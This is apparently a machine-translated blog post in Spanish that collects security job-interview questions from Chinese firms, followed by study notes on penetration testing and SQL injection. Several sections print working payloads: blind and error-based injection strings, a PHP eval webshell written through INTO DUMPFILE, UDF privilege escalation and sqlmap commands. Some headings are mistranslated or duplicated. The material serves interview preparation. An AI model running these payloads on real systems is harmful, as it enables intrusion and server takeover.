¡Preguntas de la entrevista de trabajo de seguridad de la red e intercambio de experiencias de entrevistas! Se necesitaron tres días y tres noches para resolver el hígado, ¡que es absolutamente el más completo!

1. ByteDance - Pasante de pruebas de penetración

  • Auto presentación
  • proceso de penetración
  • Cómo lidiar con el problema del análisis panorámico de la voladura de nombres de subdominios en la recopilación de información
  • Cómo omitir CDN para encontrar una IP real
  • ¿A qué información prestará atención en phpinfo?
  • ¿Alguna vez has oído hablar del mantenimiento de permisos?
  • Hábleme de una vulnerabilidad con la que se sienta bien y hable sobre ella.
  • Cómo defenderse contra la salida XSS a href
  • El principio de la defensa del mismo sitio contra CSRF
  • Defensa CSRF
  • Cómo defenderse contra CSRF en formato json
  • Orden de análisis del navegador y orden de decodificación
  • Cómo omitir la inyección SQL de comas de filtrado
  • Cómo omitir la coma después del límite de filtrado
  • vulnerabilidades relacionadas con fastjson
  • Hable sobre una vulnerabilidad relacionada con python que conozca (principio SSTI, proceso de explotación, cosas relacionadas con la carga útil) pregunta abierta y respuesta

2. Sangfor - Pasantía de investigador de vulnerabilidades

  • Auto presentación
  • ¿Qué hiciste durante tu pasantía en xx?
  • Explique brevemente la idea de las pruebas de penetración.
  • ¿Qué papel juega en él la red protectora?
  • Algunas reflexiones sobre el equipo rojo
  • ¿Hiciste orientación horizontal después de desarmar el sistema?
  • ¿Hay alguna investigación sobre log4j hace algún tiempo?¿Puede hablar brevemente sobre eso?
  • (después de la pregunta anterior) ¿Cuáles son las formas de evitar la ofuscación?
  • ¿Alguna vez has entendido el caballo de la memoria?
  • ¿Alguna vez has oído hablar de herramientas como Ice Scorpion y Godzilla?
  • ¿Estudiaste algún ataque cuando estabas en el equipo de ataque, como investigar algunas herramientas o modificaciones mágicas?
  • Con tantas vulnerabilidades y ataques, ¿en cuál es mejor?
  • Permítanme hablar sobre las razones de la formación de la deserialización de shiro y la cadena de utilización.
  • ¿Alguna vez has aprendido acerca de algunos métodos de derivación? ¿Puedes presentar brevemente la postura?
  • Preguntas

3. Pasante de investigación de seguridad de Bytedance

  • El puesto que solicitaste es un pasante de investigación de seguridad. ¿Sabes lo que hacemos principalmente aquí?
  • Auto presentación
  • ¿Hay alguna dirección que quieras hacer ahora? Por ejemplo, la auditoría de código que escribiste, los ejercicios ofensivos y defensivos, y tu dirección de investigación en la escuela (criptografía) son en realidad tres direcciones principales. ¿Hay algo que quieras hacer ahora?
  • ¿Ha revisado marcos de código abierto, cms, middleware, etc.
  • El entrevistador introdujo el contenido del trabajo.
  • Veo que hay varias experiencias de pasantías y experiencias de proyectos en su currículum. Hablemos primero de la experiencia de pasantías. ¿Qué haces principalmente en A?
  • Hable en detalle sobre lo que está haciendo principalmente la detección de intrusos y los problemas encontrados
  • ¿Ha analizado las razones de la gran cantidad de falsos positivos generados por la detección de intrusos y existe una solución mejor?
  • En comparación con A, B debería ser más agresivo, ¿no? Hay guerras (niebla, parece haberlo dicho el entrevistador) y auditorías de código. Hablemos de lo que haces principalmente en B.
  • Los pasos e ideas para revisar el motor de expresión.
  • La auditoría que acaba de mencionar suena similar a la auditoría del desarrollo ordinario. Se realiza a través del flujo de programas y documentos. ¿Ha auditado algunos proyectos desde la perspectiva de la seguridad?
  • Cómo se causa xxe, desde el nivel de código
  • Veo que su currículum tiene mucha experiencia en ejercicios ofensivos y defensivos, ¿verdad? ¿Hay alguna de estas experiencias en ejercicios ofensivos y defensivos que sea más impresionante? Elija una y hable sobre ella.
  • Parece que tu ataque es más sobre el uso de contraseñas débiles ¿Tienes algunos métodos más hábiles?
  • ¿Cómo se carga el webshell por este avatar?
  • ¿Qué otras formas de prueba hay? ¿Cómo evitarlo?
  • La vulnerabilidad log4j está muy de moda estos dos días, ¿la habéis comprobado?
  • El entrevistador finalmente presenta el negocio.
  • Preguntas

4. Chaitin Technology-Ingeniero de servicios de seguridad

  • Auto presentación
  • ¿Alguna vez se han practicado pruebas de penetración web?
  • Hable sobre el principio de inyección sql
  • ¿Alguna vez entendió la causa de la inyección de sql desde el nivel de código (si el nivel de código se refiere a la declaración de sql, la respuesta es sí)?
  • Si no entiende xss, ¿entiende el principio de xss desde el nivel de código?
  • ¿Cuál está más familiarizado con las vulnerabilidades top10 de owasp?
  • Hable acerca de cómo defenderse contra la inyección sql
  • ¿Cómo funciona el filtrado de omisión de inyección sql?
  • Le pregunté si xx era un objetivo cuando defendía la red y si había investigado y juzgado el comportamiento del equipo atacante.
  • El contenido del trabajo al proteger la red en xx, ¿alguna vez ha investigado y juzgado los paquetes de tráfico y los paquetes de datos?
  • El papel jugado durante los simulacros ofensivos y defensivos de la escuela, el contenido principal del trabajo, las ideas de la prueba de penetración y los resultados (esta pregunta es bastante detallada, específica para las tareas asignadas, ya sea que la computadora host o el controlador de dominio hayan sido desactivados). , la forma y duración de los ejercicios ofensivos y defensivos) tiempo para hablar)
  • Suelo jugar mucho ctf, ¿cuáles son los resultados?
  • ¿Por lo general, prestará atención a algunas vulnerabilidades novedosas, realizará auditorías de código, como las vulnerabilidades de Shiro, etc.? ¿Alguna vez ha reproducido vulnerabilidades?
  • ¿Sabes algo sobre los correos electrónicos de phishing?
  • ¿Cuál es la dirección de estudio actual?
  • Por último, introducir la demanda de talento
  • Preguntas

5. Pasante de tecnología de seguridad de Tencent

  • Auto presentación
  • ¿Entiendes la inyección sql? Cuéntame sobre el principio de la inyección secundaria.
  • Cómo arreglar la inyección secundaria
  • ¿Entiende que sql se ha inyectado en waf?Si una inyección de sql filtra la palabra clave de información, ¿cómo omitirla?
  • Redis acceso no autorizado
  • Un proceso completo de pruebas de penetración
  • Cuando jugabas a ctf, ¿te encontraste con alguna pregunta particularmente impresionante?
  • ¿Hay una mejor manera de explotar la vulnerabilidad de descarga de archivos?
  • Use la vulnerabilidad de descarga de archivos para encontrar el nombre del archivo. Específicamente, qué nombre de archivo buscar (qué archivos se leen generalmente cuando se lee un archivo) (¿en ctf? ¿en combate real?)
  • Vulnerabilidad de ejecución de comandos, cuál es la mejor manera de lidiar con http que no se conecta (habla un poco más)
  • Continuando con la pregunta anterior, comuníquese a través de túneles, explique en detalle por qué tipo de túneles se pasa y hable sobre operaciones específicas.
  • Advertencia de vulnerabilidad
  • ¿Ha reproducido alguna vez una vulnerabilidad de tipo middleware (si ha reproducido una vulnerabilidad completa)?
  • ¿Cuáles son las principales responsabilidades del rol desempeñado en los ejercicios ofensivos y defensivos de la escuela?

6. Xpeng Motors - Ingeniero de seguridad

  • Auto presentación
  • ¿Alguna vez has desenterrado el src?
  • ¿Cómo suele aprender la penetración web?¿Hay algún combate real? ¿Alguna vez ha encontrado con éxito una vulnerabilidad?
  • ¿A qué herramientas ha estado expuesto al hacer penetración web?
  • ¿Qué es la vulnerabilidad xxe? ¿Qué es ssrf?
  • Cuando juegas ctf, ¿de qué dirección eres responsable?
  • Por qué desea dedicarse a la seguridad de la información, cuánto interés tiene en la seguridad, si cambiará de carrera en el futuro o planea continuar trabajando en seguridad
  • ¿Cómo sueles aprender sobre seguridad? Si te pidieran que tomaras una nueva dirección (seguridad de la aplicación), ¿cuánto tiempo dedicarías a aprender o tienes una dirección que quieres seguir?
  • Hablar sobre el proceso de auditoría de código
  • ¿Cómo suele hacer la auditoría de código?
  • ¿Has auditado marcos de código abierto y CMS?
  • ¿Cómo juzgar si una base de datos es mysql u oracle?
  • ¿Tipos de inyección sql y cómo usarlo?
  • Hable sobre el principio y las ideas de defensa de la inyección sql
  • ¿Qué lenguaje usaste para el desarrollo?
  • ¿Qué marco usaste al hacer el desarrollo de Java? ¿Puedes hacer el desarrollo de seguridad de Java?
  • ¿Alguna vez has hecho desarrollo Android?
  • ¿Alguna vez has escrito una herramienta en python?
  • ¿Qué vulnerabilidad utiliza msf y se ha recuperado con éxito?
  • ¿Qué hizo principalmente al proteger la red y hablar sobre su comprensión de los productos de seguridad?
  • La empresa ahora necesita a alguien que pueda hacer seguridad de aplicaciones. Si quiere hacerlo ahora, ¿lo aprenderá, está interesado o tiene otras cosas que quiere hacer? Si no quiere hacer seguridad de aplicaciones , ¿cuánto tiempo puedes pasar aprendiendo?
  • ¿Entiendes la penetración de la intranet? Habla sobre la idea de la penetración de la intranet.

7. Resumen de preguntas de entrevistas de alta frecuencia en Dachang

Esta vez pasé tres meses resolviendo las preguntas de la entrevista para los puestos de servicio de seguridad de red de los principales proveedores de seguridad (incluidos, entre otros: ingeniero de servicios de seguridad, ingeniero de operaciones de seguridad, ingeniero de operaciones y mantenimiento de seguridad, ataque de seguridad y ingeniero de defensa).

Sin más preámbulos, aprendamos juntos

En la actualidad, todavía hay muchas imprecisiones y redundancias, ¡e imploro a mis amigos que corrijan y modifiquen!

La longitud del artículo es limitada y es necesario resolver una serie de preguntas de la entrevista. Haga clic en el pollo a continuación para obtener el paquete de regalo de csdn de forma gratuita. Recuerde hacer una nota ~

juerga de entrevistas csdn "resumen de las preguntas de la entrevista en las principales fábricas con análisis de respuestas, haga clic para recibir"

 

 

7.1, método de protección de inyección SQL

  • Autenticación rota y gestión de sesiones.
  • Ataque de secuencias de comandos entre sitios XSS
  • referencia directa a un objeto inseguro
  • mala configuración de seguridad
  • Fuga de información confidencial
  • Falta de control de acceso a nivel de función
  • Falsificación de solicitud entre sitios CSRF
  • Uso de componentes con vulnerabilidades conocidas
  • Redireccionamientos y reenvíos no validados

7.2 Vulnerabilidades comunes de seguridad web

  • inyección SQL
  • XSS
  • Recorrido de archivos, carga de archivos, descarga de archivos
  • anulación vertical, anulación horizontal
  • escapatoria lógica
  • En primer lugar, para los recién llegados, la mayoría de los estudiantes no tienen experiencia de combate real. En respuesta a las preguntas del entrevistador, hable sobre sus pruebas de penetración reales, pero muchas personas no tienen forma de hablar.

7.3 Dado un sitio web, ¿cómo se realizan las pruebas de penetración?

sujeto a autorización por escrito.

1) Recopilación de información

Obtenga la información whois del nombre de dominio, obtenga la dirección de correo electrónico, el nombre y el número de teléfono del registrante, etc.

Consulte los sitios del lado del servidor y los sitios de subdominios, ya que el sitio principal generalmente es más difícil, así que primero verifique si hay algún cms común u otras lagunas en los sitios secundarios.

Verifique la versión del sistema operativo del servidor, el middleware web y vea si hay vulnerabilidades conocidas, como vulnerabilidades de análisis de IIS, APACHE y NGINX.

Verifique la IP, escanee el puerto de la dirección IP y detecte la vulnerabilidad del puerto correspondiente, como rsync, Heartbleed, mysql, ftp, ssh débil contraseña, etc.

Escanee la estructura de directorios del sitio web para ver si se puede recorrer el directorio o si se filtran archivos confidenciales, como sondas php

El hack de Google detecta aún más la información del sitio web, los antecedentes y los archivos confidenciales

2) Escaneo de vulnerabilidades

Comience a detectar vulnerabilidades, como XSS, XSRF, inyección de sql, ejecución de código, ejecución de comandos, acceso no autorizado, lectura de directorios, lectura de archivos arbitrarios, descargas, inclusión de archivos,

Ejecución remota de comandos, contraseñas débiles, cargas, vulnerabilidades del editor, descifrado de fuerza bruta, etc.

3) Explotación

Use los métodos anteriores para obtener webshell u otros permisos

4) Escalada de privilegios

Servidor de escalada de privilegios, como escalada de privilegios udf de mysql en windows, escalada de privilegios serv-u, vulnerabilidades en versiones inferiores de windows, como iis6, pr, barbacoa brasileña,

Vulnerabilidad de vaca oculta de Linux, vulnerabilidad de la versión del kernel de Linux escalada de privilegios, escalada de privilegios del sistema mysql bajo Linux y escalada de privilegios bajos de Oracle

5) Limpieza de troncos

6) Informe resumido y plan de reparación

7.4 Proceso de prueba de penetración

  • entrevista de proyecto
  • Recopilación de información: whois, IP de origen del sitio web, estación lateral, sitio web del segmento C, versión del sistema del servidor, versión del contenedor, versión del programa, tipo de base de datos, nombre de dominio de segundo nivel, firewall, información del mantenedor
  • Escaneo de vulnerabilidades: Nessus, AWVS
  • Cavando a mano: agujeros lógicos
  • Vulnerabilidades de validación
  • sugerencia de reparación
  • (si corresponde) Vulnerabilidades de verificación/reevaluación de referencia
  • informe de salida
  • descripción general
  • Pruebe la información básica
  • Rango de prueba
  • tiempo de prueba
  • tarea de prueba
  • Proceso de prueba
  • Análisis integral de riesgos de seguridad de la información
  • Análisis de riesgo general
  • Análisis de Impacto de Riesgo
  • Análisis de seguridad del sistema
  • Lista de vulnerabilidades de seguridad
  • sugerencia de solución
  • Informe de reevaluación
  • preguntas de la entrevista SQL

7.5 Tipos de inyección SQL

  • Basado en la inyección de errores
  • Inyección basada en booleanos, la inyección de juzgar si la condición es verdadera o falsa según la página devuelta
  • La inyección ciega basada en el tiempo no puede juzgar ninguna información en función del contenido devuelto por la página. Utilice sentencias condicionales para comprobar si se ejecuta la sentencia de retraso de tiempo (es decir, si el tiempo de retorno de la página ha aumentado).
  • inyección de bytes anchos
  • Se puede inyectar consulta conjunta en el caso de unión.
  • Inyección de consulta de montón, que puede ejecutar la inyección de varias declaraciones al mismo tiempo.

7.6, el principio de inyección SQL

Al insertar comandos SQL en los envíos de formularios web o ingresar cadenas de consulta para nombres de dominio o solicitudes de página, el servidor finalmente es engañado para ejecutar comandos SQL maliciosos. A menudo, los datos de entrada del usuario no verificados o insuficientemente verificados o los problemas de escritura de código se convierten accidentalmente en la ejecución del código.

7.7 Cómo defenderse de la inyección SQL

  • Cierre el mensaje de error de la aplicación
  • más waf
  • filtrar la entrada
  • Limitar longitud de entrada
  • Restrinja los permisos de la base de datos y otorgue permisos cuidadosamente, como soltar/crear/truncar
  • Precompile la instrucción sql y, en general, use ? como marcador de posición en python y Php. Este método es para resolver la inyección de sql utilizando parámetros de marcador de posición desde la perspectiva del marco de programación, y solo se puede decir que previene la inyección hasta cierto punto. También hay desbordamientos de búfer, caracteres de terminación, etc.
  • Cifrado y seguridad de la información de la base de datos (que lleva a la criptografía). No use md5 porque hay una tabla de arcoíris, generalmente agregue sal después de md5 una vez y luego md5
  • Las especificaciones de programación claras, la revisión de código emparejado/automatizado y una gran cantidad de soluciones listas para usar (PreparedStatement, ActiveRecord, filtrado de caracteres ambiguos y solo balabala de procedimientos almacenados accesibles) han hecho que el riesgo de inyección SQL sea muy bajo.
  • Cómo evitar la inyección en un idioma específico y qué marco de seguridad usar

7.8, sqlmap, ¿cómo inyectar un punto de inyección?

  • Si es un modelo de obtención, directamente, sqlmap -u "como URL de punto".
  • Si es un tipo de publicación como un punto, puede usar sqlmap -u "URL de punto de inyección" --data="parámetros de publicación"
  • Si es una cookie, X-Forwarded-For, etc., cuando sea accesible, use burpsuite para capturar el paquete, reemplace la inyección con *, colóquelo en el archivo y luego sqlmap -r "dirección de archivo"

7.9 ¿Cuál es la diferencia entre la inyección de sitios web mysql por encima de 5.0 y por debajo de 5.0?

5.0 se lanzó hace 10 años, y ahora es 5.7, no tiene sentido

Por debajo de 5.0, no hay una tabla de sistema de esquema de información, y es imposible enumerar nombres, etc., y solo puede ejecutar nombres de tablas de forma violenta.

Por debajo de 5,0 es una operación única multiusuario, y por encima de 5,0 es una operación múltiple multiusuario.

7.10 ¿Motor de almacenamiento MySQL?

1. InnoDB: el principal motor de almacenamiento. Admite transacciones, admite bloqueos de fila, admite lecturas sin bloqueo, admite restricciones de clave externa

Proporciona a MySQL un motor de almacenamiento seguro para transacciones (compatible con ACID) con capacidades de confirmación, reversión y recuperación de fallas. InnoDB se bloquea en el nivel de fila y también proporciona una lectura sin bloqueo similar a Oracle en la instrucción SELECT. Estas funciones aumentan la implementación y el rendimiento multiusuario. En consultas SQL, puede mezclar libremente tablas InnoDB con otros tipos de tablas MySQL, incluso en la misma consulta

El motor de almacenamiento InnoDB mantiene su propio grupo de búfer para almacenar en caché datos e índices en la memoria principal. InnoDB organiza sus tablas e índices en un tablespace lógico, que puede contener varios archivos (o archivos de disco sin formato). Esto es diferente de las tablas MyISAM, por ejemplo, donde cada tabla se almacena en un archivo separado. Las tablas de InnoDB pueden ser de cualquier tamaño, incluso en sistemas operativos donde el tamaño de los archivos está limitado a 2 GB

InnoDB admite restricciones de integridad de clave externa. Al almacenar datos en una tabla, el almacenamiento de cada tabla se almacena en el orden de la clave principal. Si la clave principal no se especifica cuando se define la tabla, InnoDB generará un ROWID de 6 bytes. para cada fila, y use esto como la clave principal

2. MyISAM: velocidad de acceso rápida, no admite transacciones y se elimina gradualmente

3. MEMORIA: índice BTREE o índice HASH. Coloque los datos de la tabla en la memoria y el rendimiento de la concurrencia es deficiente.

4. MERGE, Archive, etc. no se usan comúnmente

7.11 ¿Qué es una transacción?

Una transacción es un conjunto de instrucciones SQL atómicas o una unidad de trabajo independiente. Si el motor de la base de datos puede aplicar con éxito este conjunto de instrucciones SQL a la base de datos, se ejecutará. Si alguna declaración no se puede ejecutar debido a un bloqueo u otras razones , entonces no se ejecutarán todas las sentencias. Es decir, las declaraciones en la transacción se ejecutan todas con éxito o no se ejecutan.

Un ejemplo típico de una aplicación bancaria:

Supongamos que la base de datos del banco tiene dos tablas: una tabla de cheques y una tabla de ahorros. Ahora, un cliente A quiere transferir 2000 yuanes de su cuenta corriente a su cuenta de ahorros, luego se requieren al menos tres pasos:

a. Comprobar que el saldo de la cuenta corriente de A sea superior a 2000 yuanes;

b) Restar 2000 yuanes del saldo de la cuenta corriente de A;

c) Agregue $2,000 al saldo de la cuenta de ahorros de A.

Estos tres pasos deben empaquetarse en una sola transacción. Si alguno de los pasos falla, todos los pasos deben revertirse. De lo contrario, A, como cliente del banco, puede perder inexplicablemente 2000 yuanes y algo sale mal. Esta es una transacción típica. Esta transacción es la unidad de trabajo indivisible más pequeña. Todas las operaciones en la transacción completa se envían con éxito o se revierten si fallan. Es imposible ejecutar solo una parte de ellas. Esta es también la característica atómica de una transacción

7.12, bloqueo de lectura y bloqueo de escritura

Los bloqueos de lectura se comparten, es decir, no se bloquean entre sí y varios clientes pueden leer el mismo recurso al mismo tiempo sin interferir entre sí. Los bloqueos de escritura son exclusivos, es decir, un bloqueo de escritura bloqueará otros bloqueos de escritura y bloqueos de lectura, solo así se puede asegurar que solo un usuario pueda realizar la escritura en un tiempo determinado, evitando que otros usuarios lean el mismo recurso que se está escribiendo. . Los bloqueos de escritura tienen mayor prioridad que los bloqueos de lectura.

7.13, índice MySQL

Un índice es una estructura de datos que ayuda a MySQL a recuperar datos de manera eficiente. Los motores de almacenamiento MYISAM e InnoDB solo admiten índices BTree; los motores de almacenamiento MEMORY y HEAP pueden admitir índices HASH y BTREE.

7.14 Aplicación de ORDER BY en inyección

El nombre del campo, la expresión y la posición del campo se pueden agregar después de ordenar por, y la posición del campo debe ser un número entero.

7.15 ¿Qué es GPC? ¿Cómo omitir después de GPC?

Si magic_quotes_gpc=On, el analizador de PHP agregará automáticamente el carácter de escape "\" a los datos de post, get y cookie para garantizar que estos datos no causen que el programa, especialmente la declaración de la base de datos debido a los caracteres especiales (considerados como PHP caracteres) ) causada por la contaminación.

7.16 ¿Cuál es la diferencia entre una @ y dos @ en Mysql?

@ es una variable de usuario, use SET @var1=1 para asignar

@@ son variables del sistema, incluidas las variables globales muestran variables globales \G y las variables de sesión muestran variables de sesión \G;

7.17 Inyectar/desviar funciones de uso común

1. Inyección ciega basada en SQL booleano

izquierda(base de datos(),1)>'s'

ascii(substr((seleccione table_name information_schema.tables where tables_schema=database()limit 0,1),1,1))=101 --+

ascii(substr((seleccionar base de datos()),1,1))=98

ORD(MEDIO((SELECT IFNULL(CAST(nombre de usuario COMO CARÁCTER),0x20)DESDE security.users ORDEN POR id LIMIT 0,1),1,1))>98%23

Regexp inyección regular select user() regexp '^[az]';

seleccione usuario () como 'ro%'

2. Inyección ciega de SQL basada en errores

  • 1)y extractvalue(1, concat(0x7e,(select @@version),0x7e))】】】
  • 2) Informe de errores de redondeo a la baja
  • 3)+y updatexml(1, concat(0x7e,(secect @@version),0x7e),1)
  • 4).colección de geometría()seleccione * de prueba donde id=1 y colección de geometría((seleccione * de(seleccione * de(seleccione usuario())a)b));
  • 5).multipoint()select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));
  • 6).polygon()select * from test where id=1 y polígono((select * from(select * from(select user())a)b));
  • 7).multipolygon()select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));
  • 8).linestring()select * from test where id=1 and linestring((select * from(select * from(select user())a)b));
  • 9).multilinestring()select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));
  • 10).exp()select * from test where id=1 and exp(~(select * from(select user())a));

3. ¿Cómo juzgar la inyección retrasada?

if(ascii(substr(“hola”, 1, 1))=104, dormir(5), 1)

7.18 ¿Qué tienen en común la inyección a ciegas y la inyección retardada?

Es un juicio carácter por carácter.

7.19 ¿Cómo obtener el webshell de un sitio web?

Cargue, edite plantillas en segundo plano, escriba archivos de inyección sql, ejecute comandos, ejecute código,

Se han expuesto algunas vulnerabilidades de cms, como que el fondo dedecms puede crear directamente archivos de secuencias de comandos, el complemento de carga de wordpress contiene archivos de secuencias de comandos, archivos zip, etc.

7.20 ¿Cuáles son las funciones para la inyección de sql para escribir archivos?

seleccione 'oración' en el archivo de salida 'ruta'

seleccione 'oración' en el archivo de volcado 'ruta'

seleccione '<?php eval($_POST[1]) ?>' en el archivo de volcado 'd:\wwwroot\ baidu.com \nvhack.php';

7.21 Varios problemas de escritura de shell

1. ¿Qué función se usa para escribir el shell?

seleccione '<?php phpinfo()> en el archivo de salida 'D:/shelltest.php'

archivo de volcado

file_put_contents

2. ¿Qué debo hacer si no se puede usar el archivo externo?

seleccione unhex('código hexadecimal udf.dll') en el archivo de volcado 'c:/mysql/mysql server 5.1/lib/plugin/xxoo.dll'; se puede aumentar el privilegio UDF

3. ¿Cuál es la diferencia entre dumpfile y outfile? outfile es adecuado para importar bibliotecas, y una nueva línea se escribirá y escapará al final de la línea, por lo que no se puede escribir en un archivo ejecutable binario.

4. ¿Puede sleep() escribir shell?

5. ¿Cuáles son las condiciones para escribir un caparazón?

Derechos de los usuarios

Permisos de lectura y escritura de directorio

Evitar la ejecución de comandos: disabled_functions, disabled disabled_functions=phpinfo,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source, pero puede usar la extensión dl para ejecutar el comando o no se encuentra la página de vulnerabilidad de ImageMagick - esperando  solo

open_basedir: limite los archivos operables por el usuario a un directorio determinado

7.22 ¿Cuáles son las funciones para la inyección de sql para escribir archivos?

seleccione 'oración' en el archivo de salida 'ruta'

seleccione 'oración' en el archivo de volcado 'ruta'

seleccione '<?php eval($_POST[1]) ?>' en el archivo de volcado 'd:\wwwroot\ baidu.com \nvhack.php';

7.23 Inyección secundaria de SQL

Cuando inserté datos en la base de datos por primera vez, simplemente usé barras adicionales o escapé de los caracteres especiales con la ayuda de get_magic_quotes_gpc Al escribir en la base de datos, los datos originales aún se conservaban, pero los datos en sí seguían siendo datos sucios.

Después de almacenar los datos en la base de datos, el desarrollador considera que los datos son creíbles. Cuando se requiere la siguiente consulta, los datos sucios se extraen directamente de la base de datos sin inspección ni procesamiento adicionales, lo que provocará una inyección secundaria de SQL.

En un sitio web de citas, completar la edad es un punto de inyección, y la página mostrará cuántos usuarios tienen la misma edad que usted. Use y 1=1 para determinar el punto de inyección, use order by para detectar el número de columnas y union select para detectar qué columna es el punto de salida.

暴库 group_concat(schema_name) from information_schema.schemata

暴表 group_concat(table_name) from information_schema.schemata where table_schema='hhh'

Obtener datos concat (bandera) de la bandera

Solución: también se debe realizar el escape o el filtrado al obtener datos de una base de datos o un archivo.

7.24 Diferencia entre SQL y NoSQL

Base de datos relacional SQL, base de datos no relacional NoSQL (no solo SQL)

1. Ventajas de SQL

Una base de datos relacional se refiere a los datos representados por un modelo matemático relacional, en el que los datos se describen en forma de una tabla bidimensional.

La estructura es estable, no es fácil de modificar, se usa comúnmente para consultas de tablas conjuntas

Alta capacidad de consulta, puede operar consultas muy complejas

Alta consistencia, los datos de procesamiento usarán el bloqueo para garantizar que los datos no se modifiquen

Las tablas son lógicas y fáciles de entender.

2. Desventajas de SQL

No apto para lectura y escritura simultáneas

No es adecuado para la lectura y escritura eficiente de datos masivos

Muchas capas, baja escalabilidad

Mantener la consistencia es costoso

Implica consulta de tabla conjunta, compleja y lenta

3. Ventajas de NoSQL

Almacenar datos en pares clave-valor

Dado que no existe una relación entre los datos, es fácil ampliar y consultar

La estructura de datos es flexible, cada dato puede tener una estructura diferente

Las consultas son más rápidas debido a la reducción de los requisitos de consistencia

4. Compara

El surgimiento de las bases de datos no relacionales se debe a que con la evolución del sitio web, la concurrencia aumenta, la escalabilidad es alta y los requisitos de consistencia se reducen. De esta manera, el mantenimiento de consistencia más importante de las bases de datos relacionales es un poco redundante y consume rendimiento. Por lo tanto, con una base de datos no relacional, puede considerarse como un resultado debilitado de una base de datos relacional, y es mejor para almacenar y consultar datos masivos.

No hay diferencia entre las dos bases de datos, simplemente se utilizan en diferentes entornos. Se puede decir que una base de datos relacional es una base de datos más rigurosa y más confiable.En un entorno que requiere una alta precisión de datos, como un sistema bancario, una base de datos como mysql es naturalmente adecuada. Las bases de datos no relacionales son superiores en la velocidad de procesamiento de big data, pero la precisión de los datos no es tan alta y es más adecuada para entornos con una gran cantidad de operaciones, como la mayoría de los sitios web web 2.0 actuales.

¡Amigos que pueden ver aquí deben dar una ola de beneficios! ¡Toda la información anterior, preguntas de la entrevista, comentario y deje un mensaje, patéeme en segundo plano o haga clic en el enlace del artículo para compartir con todos de forma gratuita! ¡Espero ser útil! ¡Gracias a todos por leer y mirar!

 

 

Supongo que te gusta

Origin blog.csdn.net/2301_77732591/article/details/130765643
Recomendado
Clasificación